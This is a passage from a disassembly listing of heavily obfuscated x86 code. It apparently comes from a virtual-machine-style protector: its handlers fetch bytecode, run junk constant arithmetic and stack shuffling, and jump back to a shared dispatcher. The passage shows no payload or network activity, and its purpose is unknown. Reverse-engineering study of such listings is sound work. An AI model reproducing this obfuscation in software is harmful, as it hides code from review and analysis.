; ---------------------------------------------------------------------------


loc_58CF14:				; DATA XREF: sub_581EE9+3D87o
		lodsd
		jmp	loc_58C7F7
; ---------------------------------------------------------------------------


loc_58CF1A:				; CODE XREF: sub_581EE9+9B6Aj
		add	esp, 4
		dec	ebp
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		sub	ebp, 384A5988h
		add	eax, ebp
		pop	ebp
		push	6A52h
		mov	[esp-6EFEh+arg_6EF6], ebp
		mov	ebp, 50D273Bh
		jmp	loc_58D698
; ---------------------------------------------------------------------------


loc_58CF42:				; CODE XREF: sub_581EE9+DD12j
		mov	[esp-6EFEh+arg_6EF6], edx
		push	1
		mov	edx, [esp-6EFAh+arg_6EF0+2]
		jmp	loc_58DED7
; ---------------------------------------------------------------------------


loc_58CF52:				; CODE XREF: sub_581EE9+E9F9j
		mov	[esp-6EFAh+arg_6EF0+2],	esi
		push	400h
		mov	esi, [esp-6EF6h+arg_6EEC+2]
		add	esp, 4
		or	[edi+1Ch], esi
		mov	esi, [esp-6EFAh+arg_6EF0+2]
		push	edi
		push	esp
		jmp	loc_587ED9
; ---------------------------------------------------------------------------


loc_58CF70:				; CODE XREF: sub_581EE9+5879j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58CF75:				; CODE XREF: sub_581EE9+F4F5j
		push	eax
		push	7C7Ah
		mov	[esp-6EC4h+arg_6EBA+2],	esp
		add	[esp-6EC4h+arg_6EBA+2],	4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_58A136
; ---------------------------------------------------------------------------


loc_58CF95:				; CODE XREF: sub_581EE9+9360j
		add	esp, 4
		mov	esi, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		push	69h
		mov	[esp-6EC2h+arg_6EBA], esi
		push	ecx
		mov	ecx, 3FBA737Fh
		mov	esi, 2B70B94h
		jmp	loc_5875FA
; ---------------------------------------------------------------------------


loc_58CFB9:				; CODE XREF: sub_581EE9+8C2Bj
		push	1A3Ah
		mov	[esp+0], esi
		mov	esi, 26B16F6Ah
		shl	esi, 7
		shl	esi, 8
		add	esi, 849F4C77h
		add	esi, 0FFFFFFFFh
		shl	esi, 8
		jmp	loc_58C578
; ---------------------------------------------------------------------------


loc_58CFE0:				; CODE XREF: sub_581EE9+983Cj
		add	eax, 38EA3BC8h
		sub	eax, esi
		push	edi
		mov	edi, 38EA3BC8h
		jmp	loc_58723A
; ---------------------------------------------------------------------------


loc_58CFF2:				; CODE XREF: sub_581EE9+85ACj
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_58DC98
; ---------------------------------------------------------------------------


loc_58D006:				; CODE XREF: sub_581EE9+6925j
		push	edi
		mov	edi, ebx
		jmp	loc_58BBC8
; ---------------------------------------------------------------------------


loc_58D00E:				; CODE XREF: sub_581EE9+C37Aj
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	5E6Ah
		mov	[esp-6EC8h+arg_6EBE+2],	esi
		jmp	loc_58C746
; ---------------------------------------------------------------------------


loc_58D025:				; CODE XREF: sub_581EE9+C95Cj
		add	ecx, 578B5A71h
		mov	edi, [esp-6EC8h+arg_6EBE+2]
		push	68E6h
		mov	[esp-6EC4h+arg_6EBA+2],	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 66683AEDh
		dec	ebp
		or	ebp, 5D8A4A56h
		add	ebp, 4C0E71D3h
		sub	ebp, 73E04F2Eh
		neg	ebp
		sub	ebp, 0A7E76259h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_58B1C3
; ---------------------------------------------------------------------------


loc_58D06A:				; CODE XREF: sub_581EE9+FB7Aj
		push	[esp-6EC4h+arg_6EBA+2]
		jmp	loc_5885CE
; ---------------------------------------------------------------------------


loc_58D072:				; CODE XREF: sub_581EE9+9B3Dj
		sub	ecx, 99498Eh
		jmp	loc_58F78E
; ---------------------------------------------------------------------------


loc_58D07D:				; CODE XREF: sub_581EE9+52E5j
		sub	ebp, 4
		xchg	ebp, [esp-6ED8h+arg_6ECE+2]
		pop	esp
		mov	[esp-6EDCh+arg_6ED2+2],	eax
		jmp	loc_5914E5
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EDCh+arg_6ED2+2]
		push	39C4h
		mov	[esp-6ED8h+arg_6ECE+2],	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	2E50h
		mov	[esp-6ED4h+arg_6ECA+2],	eax
		push	esi
		push	71BE33E6h
		jmp	loc_58EC37
; ---------------------------------------------------------------------------


loc_58D0B6:				; CODE XREF: sub_581EE9+9DBCj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D0BB:				; CODE XREF: sub_581EE9+EB49j
		mov	edx, [esp-6EDAh+arg_6ED2]
		add	esp, 4
		xchg	ebx, [esp-6EDEh+arg_6ED6]
		mov	esp, [esp-6EDEh+arg_6ED6]
		ror	[esp-6EDEh+arg_6ED6], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D0D3:				; CODE XREF: sub_581EE9+7D2Dj
		pop	edi
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6ED0h+arg_6EC6+2],	esi
		mov	esi, 188959CAh
		jmp	loc_58BD87
; ---------------------------------------------------------------------------


loc_58D0E7:				; DATA XREF: sub_581EE9+3C07o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp-6ED2h+arg_6ECA], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D0F7:				; CODE XREF: sub_581EE9+5ED3j
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		mov	[esp-6ED8h+arg_6ECE+2],	ebp
		jmp	loc_58BAD7
; ---------------------------------------------------------------------------


loc_58D102:				; CODE XREF: sub_581EE9+8EE1j
		sub	ebp, ebx
		jmp	loc_58EFD7
; ---------------------------------------------------------------------------


loc_58D109:				; CODE XREF: sub_581EE9+FB2Cj
		add	ebx, 4
		jmp	loc_588A64
; ---------------------------------------------------------------------------


loc_58D114:				; CODE XREF: sub_581EE9+B8A5j
		push	ecx
		push	3B96952h
		pop	ecx
		not	ecx
		jmp	loc_58F3F2
; ---------------------------------------------------------------------------


loc_58D122:				; CODE XREF: sub_581EE9+B2CAj
		add	[esp-6EC2h+arg_6EBA], 4
		mov	ebx, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		add	ebx, 4
		push	ebp
		push	edx
		jmp	loc_58C7D3
; ---------------------------------------------------------------------------


loc_58D13C:				; CODE XREF: sub_581EE9+4B0Aj
		xor	esi, 17124426h
		xor	ecx, esi
		pop	esi
		dec	ecx
		jmp	loc_58C378
; ---------------------------------------------------------------------------


loc_58D14B:				; CODE XREF: sub_581EE9+9697j
		add	ebp, 955DDEh
		sub	ebp, edi
		push	eax
		mov	eax, 73332F88h
		jmp	loc_589FD3
; ---------------------------------------------------------------------------


loc_58D15E:				; CODE XREF: sub_581EE9+D62Dj
		pop	edi
		jmp	loc_590D3F
; ---------------------------------------------------------------------------


loc_58D164:				; DATA XREF: sub_581EE9+3D47o
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D16C:				; CODE XREF: sub_581EE9+55F5j
		push	esp
		pop	ebp
		jmp	loc_58EE0F
; ---------------------------------------------------------------------------


loc_58D173:				; CODE XREF: sub_581EE9+6733j
		add	bl, 17h
		jmp	loc_5864E3
; ---------------------------------------------------------------------------


loc_58D17B:				; CODE XREF: sub_581EE9+E8D5j
		pop	esp
		sub	ax, si
		mov	si, word ptr [esp-6ECEh+arg_6EC6]
		jmp	loc_58ED69
; ---------------------------------------------------------------------------


loc_58D188:				; CODE XREF: sub_581EE9+B569j
		mov	eax, ebp
		jmp	loc_587424
; ---------------------------------------------------------------------------


loc_58D18F:				; CODE XREF: sub_581EE9+FC50j
		sub	esi, edi
		pop	edi
		jmp	loc_588AAC
; ---------------------------------------------------------------------------


loc_58D197:				; CODE XREF: sub_581EE9+902Fj
		pop	esp
		mov	cx, word ptr [esp-6EDCh+arg_6ED2+2]
		jmp	loc_586B5E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D1B0:				; CODE XREF: sub_581EE9+A72Aj
		mov	[esp+0], esp
		jmp	loc_58D122
; ---------------------------------------------------------------------------


loc_58D1B8:				; CODE XREF: sub_581EE9+7D9Bj
		mov	ebp, edx
		mov	edx, [esp-6ED4h+arg_6ECA+2]
		add	esp, 4
		jmp	loc_588299
; ---------------------------------------------------------------------------


loc_58D1C5:				; CODE XREF: sub_581EE9+D088j
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		pop	[esp-6ED8h+arg_6ECE+2]
		jmp	loc_587E3F
; ---------------------------------------------------------------------------


loc_58D1D0:				; DATA XREF: sub_581EE9+3D5Bo
		mov	cx, word ptr [esp-6EDCh+arg_6ED2+2]
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_588B0E
; ---------------------------------------------------------------------------


loc_58D1DD:				; CODE XREF: sub_581EE9+72E5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		add	ebx, esi
		mov	esi, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		add	ebx, 49555767h
		push	edi
		mov	edi, 162C031Dh
		add	ebx, edi
		pop	edi
		add	ebx, 5EC70940h
		add	ebx, eax
		jmp	loc_58A419
; ---------------------------------------------------------------------------


loc_58D20E:				; CODE XREF: sub_581EE9+EC12j
		mov	[esp-6ED0h+arg_6EC6+2],	eax
		push	4FF1h
		mov	[esp-6ECCh+arg_6EC2+2],	esi
		jmp	loc_586661
; ---------------------------------------------------------------------------


loc_58D21E:				; CODE XREF: sub_581EE9+C967j
		sub	al, 23h
		pop	edx
		pop	edx
		push	ebx
		push	ecx
		mov	ch, 97h
		shr	ch, 6
		sub	ch, 0D3h
		and	ch, 0A4h
		sub	ch, 0C2h
		jmp	loc_588D12
; ---------------------------------------------------------------------------


loc_58D237:				; CODE XREF: sub_581EE9+A909j
		add	ebp, 186D5A08h
		jmp	loc_585F91
; ---------------------------------------------------------------------------


loc_58D242:				; CODE XREF: sub_581EE9+3FB3j
		inc	ecx
		shr	ecx, 2
		jmp	loc_58990D
; ---------------------------------------------------------------------------


loc_58D24B:				; DATA XREF: sub_581EE9+3C3Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp-6ED6h+arg_6ECE], al
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D25A:				; CODE XREF: sub_581EE9+D122j
		pop	ebp
		mov	eax, edi
		pop	edi
		mov	edx, eax
		pop	eax
		push	edx
		not	[esp-6EDAh+arg_6ED2]
		pop	edx
		and	edx, 563046A7h
		push	ecx
		mov	ecx, 58EF7D52h
		jmp	loc_58BFDD
; ---------------------------------------------------------------------------


loc_58D277:				; DATA XREF: sub_581EE9+3C2Bo
		sub	esp, 2
		mov	word ptr [esp-6EF6h+arg_6EEC+2], cx
		push	small word ptr [esp-6EF6h+arg_6EF0]
		mov	cx, word ptr [esp-6EF4h+arg_6EEC]
		jmp	loc_58E286
; ---------------------------------------------------------------------------


loc_58D28C:				; CODE XREF: sub_581EE9+7C07j
		pop	esp
		sub	word ptr [esp-6F06h+arg_6EFE], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D297:				; CODE XREF: sub_581EE9+6687j
		push	ebp
		push	[esp-6EF2h+arg_6EEC+2]
		pop	ebp
		jmp	loc_58F584
; ---------------------------------------------------------------------------


loc_58D2A2:				; CODE XREF: sub_581EE9+B4DEj
		sub	eax, edx
		pop	edx
		add	eax, 713F3E3Fh
		add	eax, ebx
		sub	eax, 713F3E3Fh
		add	eax, 2D5E017Ah
		add	eax, 32A57799h
		mov	ebx, [esp-6EF6h+arg_6EEC+2]
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_587B06
; ---------------------------------------------------------------------------


loc_58D2D7:				; CODE XREF: sub_581EE9+676Ej
		push	[esp-6ECAh+arg_6EC2]
		mov	edx, [esp-6EC6h+arg_6EBE]
		jmp	loc_5913C3
; ---------------------------------------------------------------------------


loc_58D2E2:				; CODE XREF: sub_581EE9+4992j
		add	[esp-6ECAh+arg_6EC2], 6EC7271Bh
		jmp	loc_588FFD
; ---------------------------------------------------------------------------


loc_58D2EE:				; CODE XREF: sub_581EE9+BD17j
		pop	bx
		jmp	loc_5888E3
; ---------------------------------------------------------------------------


loc_58D2F5:				; CODE XREF: sub_581EE9+4474j
		xor	esi, [esp-6EE8h+arg_6EE0]
		xor	[esp-6EE8h+arg_6EE0], esi
		xor	esi, [esp-6EE8h+arg_6EE0]
		mov	esp, [esp-6EE8h+arg_6EE0]
		mov	ax, word ptr [esp-6EE8h+arg_6EE0]
		jmp	loc_58C2F8
; ---------------------------------------------------------------------------


loc_58D30A:				; CODE XREF: sub_581EE9+A4CEj
		sub	eax, 0D0056BDh
		push	ebx
		jmp	loc_58820E
; ---------------------------------------------------------------------------


loc_58D315:				; CODE XREF: sub_581EE9+CE7Bj
		inc	ecx
		shl	ecx, 3
		jmp	loc_590065
; ---------------------------------------------------------------------------


loc_58D31E:				; DATA XREF: sub_581EE9+3C8Bo
		mov	cx, word ptr [esp-6EFEh+arg_6EF6]
		jmp	loc_589FAD
; ---------------------------------------------------------------------------


loc_58D327:				; CODE XREF: sub_581EE9+BBD5j
		add	bl, al
		jmp	loc_58A49A
; ---------------------------------------------------------------------------


loc_58D32E:				; CODE XREF: sub_581EE9+A8E5j
		mov	eax, [esp-6ECAh+arg_6EC2]
		jmp	loc_5902F1
; ---------------------------------------------------------------------------


loc_58D336:				; CODE XREF: sub_581EE9+8444j
		push	ecx
		mov	cl, dl
		mov	[edi+eax*4+1], cl
		mov	ecx, [esp-6EF6h+arg_6EEC+2]
		jmp	loc_58F31A
; ---------------------------------------------------------------------------


loc_58D345:				; CODE XREF: sub_581EE9+529Bj
		mov	[esp-6EE0h+arg_6ED6+2],	eax
		mov	eax, 6F2D0983h
		jmp	loc_58BA3A
; ---------------------------------------------------------------------------


loc_58D352:				; CODE XREF: sub_581EE9+97E3j
		pop	ebp
		pop	edi
		add	esi, ebp
		mov	ebp, [esp-6EACh+arg_6EA4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		xor	esi, [esp-6EACh+arg_6EA4]
		xor	[esp-6EACh+arg_6EA4], esi
		jmp	loc_591653
; ---------------------------------------------------------------------------


loc_58D374:				; CODE XREF: sub_581EE9+613Dj
		mov	esp, [esp-6EC2h+arg_6EBA]
		test	cx, ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D380:				; CODE XREF: sub_581EE9+75EEj
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		jmp	loc_58DAD3
; ---------------------------------------------------------------------------


loc_58D38D:				; CODE XREF: sub_581EE9+98C6j
		dec	ebp
		push	edi
		jmp	loc_58C9B2
; ---------------------------------------------------------------------------


loc_58D394:				; CODE XREF: sub_581EE9+89D7j
		add	eax, edx
		pop	edx
		push	7B70h
		mov	[esp-6ECAh+arg_6EC2], esi
		jmp	loc_58E943
; ---------------------------------------------------------------------------


loc_58D3A4:				; DATA XREF: sub_581EE9+3BCFo
		push	[esp-6ECAh+arg_6EC2]
		jmp	loc_58B9D3
; ---------------------------------------------------------------------------


loc_58D3AC:				; CODE XREF: sub_581EE9+4064j
		sub	ecx, 5F1C5BC6h
		add	ecx, 1B0C44CCh
		add	ecx, 0C894453Eh
		and	edx, ecx
		pop	ecx
		xor	edx, 284E0178h
		jmp	loc_58D2A2
; ---------------------------------------------------------------------------


loc_58D3CC:				; CODE XREF: sub_581EE9+9B61j
		add	esp, 4
		push	edi
		mov	edi, 1E153AB2h
		or	edi, 293961FFh
		push	edx
		push	edi
		push	edx
		mov	edx, 70807363h
		mov	edi, edx
		pop	edx
		mov	edx, 0ED5ECAD4h
		add	edx, edi
		pop	edi
		jmp	loc_5907E3
; ---------------------------------------------------------------------------


loc_58D3F6:				; CODE XREF: sub_581EE9+BF19j
		mov	dword ptr [esp-6EAAh+arg_6EA2],	eax
		jmp	loc_58A51A
; ---------------------------------------------------------------------------


loc_58D3FE:				; DATA XREF: sub_581EE9+3BFFo
		mov	ax, [esp-6EAAh+arg_6EA2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_58FF83
; ---------------------------------------------------------------------------


loc_58D411:				; CODE XREF: sub_581EE9+9FCFj
		xchg	ebp, [esp-6E8Ch+arg_6E84]
		pop	ecx
		inc	ecx
		push	eax
		mov	eax, 76827E56h
		xor	eax, 361A3B57h
		and	ecx, eax
		pop	eax
		jmp	loc_589C1B
; ---------------------------------------------------------------------------


loc_58D429:				; CODE XREF: sub_581EE9+8248j
		mov	[esp-6EC8h+arg_6EBE+2],	ebp
		jmp	loc_58794E
; ---------------------------------------------------------------------------


loc_58D431:				; CODE XREF: sub_581EE9+AEFEj
		pop	ebx
		add	ebx, 4
		push	edi
		push	4
		jmp	loc_591405
; ---------------------------------------------------------------------------


loc_58D443:				; CODE XREF: sub_581EE9+BF3Dj
		sub	esp, 4
		mov	[esp-6ECEh+arg_6EC6], ebp
		jmp	loc_589E07
; ---------------------------------------------------------------------------


loc_58D451:				; CODE XREF: sub_581EE9+8794j
		pop	esp
		jmp	loc_58D188
; ---------------------------------------------------------------------------


loc_58D457:				; CODE XREF: sub_581EE9+4F26j
		add	esp, 4
		jmp	loc_587638
; ---------------------------------------------------------------------------


loc_58D462:				; CODE XREF: sub_581EE9+9581j
		pop	eax
		push	esi
		mov	esi, 45F707E2h
		not	esi
		sub	esi, 1
		add	esi, 45F707E8h
		jmp	loc_59183C
; ---------------------------------------------------------------------------


loc_58D47C:				; CODE XREF: sub_581EE9+F517j
		sub	eax, esi
		jmp	loc_587EAE
; ---------------------------------------------------------------------------


loc_58D483:				; CODE XREF: sub_581EE9+BAADj
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], edi
		push	eax
		mov	eax, 2F775374h
		shl	eax, 3
		jmp	loc_58CE8F
; ---------------------------------------------------------------------------


loc_58D497:				; CODE XREF: sub_581EE9+F00Aj
		mov	ecx, ebp
		mov	ebp, [esp-6EA8h+arg_6E9E+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_58B4D5
; ---------------------------------------------------------------------------


loc_58D4A4:				; CODE XREF: sub_581EE9+5AF0j
		mov	edx, [esp-6EACh+arg_6EA4]
		add	esp, 4
		xchg	edx, edi
		shl	edi, 2
		inc	edi
		add	edi, 97C28BD9h
		add	ebp, 0CA8161Ah
		add	ebp, edi
		sub	ebp, 0CA8161Ah
		pop	edi
		push	43FFh
		mov	[esp-6EB0h+arg_6EA8], ebp
		push	[esp-6EB0h+arg_6EAC]
		pop	ebp
		pop	[esp-6EB0h+arg_6EA8]
		jmp	loc_58E82D
; ---------------------------------------------------------------------------


loc_58D4DD:				; CODE XREF: sub_581EE9+5A1Aj
		mov	ebp, esp
		jmp	loc_5912EA
; ---------------------------------------------------------------------------


loc_58D4E4:				; CODE XREF: sub_581EE9+591Aj
		xchg	edi, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		mov	[esp-6EC8h+arg_6EBE+2],	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58A625
; ---------------------------------------------------------------------------


loc_58D500:				; CODE XREF: sub_581EE9+4C76j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6ECEh+arg_6EC6]
		jmp	loc_58B78E
; ---------------------------------------------------------------------------


loc_58D513:				; CODE XREF: sub_581EE9+7F02j
		mov	dh, 0F0h
		sub	al, 21h
		sub	al, dh
		add	al, 21h
		pop	dx
		jmp	loc_58B08A
; ---------------------------------------------------------------------------


loc_58D522:				; CODE XREF: sub_581EE9+7DE2j
		add	ebx, 4
		xchg	ebx, [esp-6ED8h+arg_6ECE+2]
		jmp	loc_58FBD6
; ---------------------------------------------------------------------------


loc_58D52D:				; CODE XREF: sub_581EE9+DAB0j
		mov	ebx, 121D0A9Dh
		push	eax
		push	esi
		mov	esi, 7A319CFh
		jmp	loc_586152
; ---------------------------------------------------------------------------


loc_58D53E:				; CODE XREF: sub_581EE9+AFD6j
		add	bl, al
		sub	bl, 8Eh
		push	cx
		mov	cl, 0B3h
		push	2FCDh
		mov	[esp-6ECCh+arg_6EC2+2],	eax
		jmp	loc_58A94C
; ---------------------------------------------------------------------------


loc_58D554:				; CODE XREF: sub_581EE9+743Dj
		mov	eax, 47EE390Dh
		or	eax, 0E546849h
		add	eax, 2074006Dh
		jmp	loc_58F6BD
; ---------------------------------------------------------------------------


loc_58D568:				; CODE XREF: sub_581EE9+9225j
		push	ebx
		jmp	loc_587B0C
; ---------------------------------------------------------------------------


loc_58D56E:				; CODE XREF: sub_581EE9+88D2j
		pop	ebx
		jmp	loc_59118A
; ---------------------------------------------------------------------------


loc_58D574:				; CODE XREF: sub_581EE9+9B96j
		add	esp, 4
		xchg	ecx, [esp-6ECCh+arg_6EC2+2]
		pop	esp
		sar	word ptr [esp-6ED0h+arg_6EC6+2], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D588:				; CODE XREF: sub_581EE9+C619j
		sub	ebx, edi
		mov	edi, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		push	3AE9h
		mov	[esp-6ECCh+arg_6EC2+2],	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	1438h
		mov	[esp-6EC8h+arg_6EBE+2],	ecx
		push	[esp-6EC8h+arg_6EC2+2]
		push	[esp-6EC4h+arg_6EBA+2]
		pop	ecx
		push	ebp
		jmp	loc_58B813
; ---------------------------------------------------------------------------


loc_58D5BC:				; CODE XREF: sub_581EE9+726Bj
		add	esp, 4
		sub	al, 33h
		jmp	loc_58AE43
; ---------------------------------------------------------------------------


loc_58D5C9:				; CODE XREF: sub_581EE9+E077j
		push	1EBBh
		mov	[esp-6EE4h+arg_6EDC], esp
		add	[esp-6EE4h+arg_6EDC], 4
		pop	[esp-6EE4h+arg_6EDC]
		add	[esp-6EE8h+arg_6EE0], 4
		jmp	loc_58BFB7
; ---------------------------------------------------------------------------


loc_58D5E1:				; CODE XREF: sub_581EE9+C6F5j
		neg	edi
		not	edi
		and	edi, 76E962F2h
		or	edi, 356731D4h
		add	edi, 6E81C27Ch
		sub	edx, edi
		pop	edi
		xor	eax, edx
		pop	edx
		mov	ecx, eax
		mov	eax, [esp-6EF0h+arg_6EE8]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp-6EE8h+arg_6EE4]
		jmp	loc_58946B
; ---------------------------------------------------------------------------


loc_58D618:				; CODE XREF: sub_581EE9+728Cj
		push	ecx
		mov	ecx, 1
		sub	ebp, 1DB6724h
		sub	ebp, ecx
		add	ebp, 1DB6724h
		mov	ecx, [esp-6EF2h+arg_6EE8+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58781D
; ---------------------------------------------------------------------------


loc_58D63D:				; CODE XREF: sub_581EE9+48BFj
		sub	ecx, 38236B3Fh
		pop	edx
		sub	eax, 7E0218C6h
		sub	eax, 79C7085Eh
		sub	eax, ecx
		jmp	loc_58A747
; ---------------------------------------------------------------------------


loc_58D655:				; CODE XREF: sub_581EE9+9A9Aj
		push	4243h
		mov	[esp-6EEEh+arg_6EE4+2],	ebx
		jmp	loc_587A9E
; ---------------------------------------------------------------------------


loc_58D662:				; CODE XREF: sub_581EE9+7F60j
		pop	ebp
		add	ebp, 0E015782h
		pop	edi
		add	edx, ebp
		jmp	loc_58C6EE
; ---------------------------------------------------------------------------


loc_58D671:				; DATA XREF: sub_581EE9+3D37o
		lodsb
		sub	al, 9Bh
		push	3B57h
		mov	[esp-6E92h+arg_6E8A], ebx
		mov	bh, 2Bh
		inc	bh
		neg	bh
		add	bh, 56h
		jmp	loc_586ED8
; ---------------------------------------------------------------------------


loc_58D68A:				; CODE XREF: sub_581EE9+6E2Cj
		push	5F80h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	edx
		push	eax
		jmp	loc_58A1F0
; ---------------------------------------------------------------------------


loc_58D698:				; CODE XREF: sub_581EE9+B054j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58674C
; ---------------------------------------------------------------------------


loc_58D6A6:				; CODE XREF: sub_581EE9+804Bj
		add	ebx, esi
		pop	esi
		jmp	loc_58CA63
; ---------------------------------------------------------------------------


loc_58D6AE:				; CODE XREF: sub_581EE9+AE96j
		add	bp, 2B98h
		sub	esp, 4
		jmp	loc_58EA49
; ---------------------------------------------------------------------------


loc_58D6BB:				; CODE XREF: sub_581EE9+A2A6j
		mov	bl, 92h
		add	bl, 2Fh
		sub	ah, bl
		jmp	loc_58A176
; ---------------------------------------------------------------------------


loc_58D6C7:				; CODE XREF: sub_581EE9+9DEDj
		add	edx, edi
		pop	edi
		push	edi
		push	eax
		mov	eax, 1CCE6FAEh
		jmp	loc_58BF95
; ---------------------------------------------------------------------------


loc_58D6D6:				; CODE XREF: sub_581EE9+C2BFj
		add	ebx, 4C6312B4h
		add	ebx, ebp
		push	4910h
		jmp	loc_58EF37
; ---------------------------------------------------------------------------


loc_58D6E8:				; CODE XREF: sub_581EE9+4700j
		add	ecx, edi
		sub	ecx, 6AF97FBCh
		mov	edi, [esp-6EDEh+arg_6ED6]
		add	esp, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5862AC
; ---------------------------------------------------------------------------


loc_58D701:				; CODE XREF: sub_581EE9+8CD3j
		pop	esi
		shl	eax, 5
		and	eax, 7C2C7624h
		shr	eax, 6
		add	eax, 0FE5FEE32h
		jmp	loc_590BAE
; ---------------------------------------------------------------------------


loc_58D717:				; CODE XREF: sub_581EE9+D0E9j
		push	edx
		mov	edx, 76700B35h
		and	edx, 18E834B7h
		inc	edx
		or	edx, 7C000965h
		or	edx, 88B779Ah
		xor	edx, 60B87532h
		xor	edi, edx
		pop	edx
		jmp	loc_5901FB
; ---------------------------------------------------------------------------


loc_58D73E:				; DATA XREF: sub_581EE9+3BA7o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp-6E8Eh+arg_6E84+2], al
		pushf
		jmp	loc_586E40
; ---------------------------------------------------------------------------


loc_58D74D:				; CODE XREF: sub_581EE9+E217j
		mov	[esp-6E8Ah+arg_6E80+2],	eax
		push	eax
		mov	eax, 5ECF4081h
		sub	[esp-6E86h+arg_6E80+2],	eax
		pop	eax
		jmp	loc_58DC56
; ---------------------------------------------------------------------------


loc_58D760:				; CODE XREF: sub_581EE9+524Fj
		sub	ebp, ebx
		add	ebp, 3C387017h
		pop	ebx
		add	ebx, ebp
		pop	ebp
		jmp	loc_58FE06
; ---------------------------------------------------------------------------


loc_58D771:				; CODE XREF: sub_581EE9+41B8j
		add	ebp, edi
		pop	edi
		push	esi
		mov	esi, 2
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp-6EC6h+arg_6EBE]
		mov	esp, [esp-6EC6h+arg_6EBE]
		rol	byte ptr [esp-6EC6h+arg_6EBE], cl
		pushf
		jmp	loc_58B82A
; ---------------------------------------------------------------------------


loc_58D78C:				; CODE XREF: sub_581EE9+BDFFj
		pop	esi
		push	edi
		jmp	loc_58D114
; ---------------------------------------------------------------------------


loc_58D793:				; CODE XREF: sub_581EE9+99AEj
		mov	bl, 0B5h
		sub	bl, 39h
		sub	bl, 96h
		xor	dh, bl
		pop	ebx
		jmp	loc_58C12A
; ---------------------------------------------------------------------------


loc_58D7A3:				; CODE XREF: sub_581EE9+8F4Bj
		xor	ebx, ecx
		pop	ecx
		sub	edx, ebx
		pop	ebx
		add	edx, eax
		jmp	loc_58F69E
; ---------------------------------------------------------------------------


loc_58D7B0:				; CODE XREF: sub_581EE9+D059j
		mov	ebp, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, 7957448Fh
		jmp	loc_58E4F1
; ---------------------------------------------------------------------------


loc_58D7C1:				; CODE XREF: sub_581EE9+BCA7j
		sub	edi, 0F173BF93h
		jmp	loc_58A85C
; ---------------------------------------------------------------------------


loc_58D7CC:				; CODE XREF: sub_581EE9+8F61j
		mov	bh, ah
		pop	eax
		jmp	loc_58C601
; ---------------------------------------------------------------------------


loc_58D7D4:				; CODE XREF: sub_581EE9+F0A1j
		xor	ax, si
		pop	si
		add	word ptr [esp-6ED2h+arg_6ECA+2], 738Dh
		add	word ptr [esp-6ED2h+arg_6ECA+2], ax
		sub	word ptr [esp-6ED2h+arg_6ECA+2], 738Dh
		pop	ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D7F3:				; CODE XREF: sub_581EE9+DC4Aj
		push	edx
		mov	edx, 5AA75C1Fh
		sub	edx, 0CBF441Dh
		sub	edx, 4DE81800h
		add	eax, edx
		pop	edx
		xor	eax, [esp-6ED4h+arg_6ECA+2]
		jmp	loc_58C978
; ---------------------------------------------------------------------------


loc_58D810:				; CODE XREF: sub_581EE9+D473j
		mov	ebx, 0E8EF7B55h
		add	ecx, ebx
		mov	ebx, [esp-6ED4h+arg_6ECA+2]
